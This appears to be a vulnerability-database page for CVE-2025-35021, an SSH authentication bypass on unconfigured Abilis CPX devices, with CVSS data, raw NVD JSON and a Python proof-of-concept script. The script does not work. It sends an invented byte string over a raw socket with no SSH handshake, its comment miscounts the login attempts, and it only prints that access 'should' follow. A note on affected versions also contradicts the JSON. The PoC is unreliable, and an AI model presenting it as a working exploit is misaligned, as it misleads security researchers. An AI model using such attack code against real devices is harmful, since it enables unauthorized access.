Security Vulnerability Report
中文
CVE-2025-35021 CVSS 6.5 MEDIUM

CVE-2025-35021

Published: 2025-11-04 01:15:33
Last Modified: 2026-01-13 15:00:15

Description

By failing to authenticate three times to an unconfigured Abilis CPX device via SSH, an attacker can login to a restricted shell on the fourth attempt, and from there, relay connections.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:antek:abilis_cpx_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:antek:abilis_cpx_2000:-:*:*:*:*:*:*:* - NOT VULNERABLE
Abilis CPX (未配置状态,所有版本可能受影响)
建议查看厂商发布的安全公告获取具体受影响版本列表

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-35021 PoC - Abilis CPX SSH Authentication Bypass Note: This is for educational and authorized testing purposes only. """ import socket import time def cve_2025_35021_poc(target_ip, target_port=22): """ Abilis CPX Authentication Bypass PoC Vulnerability: After 3 failed authentication attempts, the 4th attempt succeeds and grants access to a restricted shell. Usage: For authorized security testing only. """ try: print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Read SSH banner banner = sock.recv(1024) print(f"[+] SSH Banner: {banner.decode().strip()}") # Attempt 4 failed logins then one more to trigger bypass for attempt in range(1, 5): print(f"[*] Login attempt {attempt}/4") # SSH authentication message (simplified) auth_packet = b"\x00\x00\x00\x0cInvalidCredentials" sock.send(auth_packet) time.sleep(0.5) response = sock.recv(1024) print(f"[+] Response: {response}") print("[+] 4th attempt should grant restricted shell access") print("[+] Attacker can now relay connections from restricted shell") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] cve_2025_35021_poc(target) else: print("Usage: python cve-2025-35021.py <target_ip>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-35021", "sourceIdentifier": "[email protected]", "published": "2025-11-04T01:15:33.107", "lastModified": "2026-01-13T15:00:15.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "By failing to authenticate three times to an unconfigured Abilis CPX device via SSH, an attacker can login to a restricted shell on the fourth attempt, and from there, relay connections."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1188"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:antek:abilis_cpx_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.0.7", "matchCriteriaId": "076FE4A3-E773-4DFE-B197-AAF0A1BC2D58"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:antek:abilis_cpx_2000:-:*:*:*:*:*:*:*", "matchCriteriaId": "185FBB48-3D75-4863-A979-5DAADD4424C2"}]}]}], "references": [{"url": "https://support.abilis.net/relnotes/cpx2k/R9.0.html#R9.0.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://takeonme.org/gcves/GCVE-1337-2025-00000000000000000000000000000000000000000000000001011111111111011111111110000000000000000000000000000000000000000000000000000000100", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://www.runzero.com/advisories/abilis-cpx-authentication-bypass-cve-2025-35021/", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}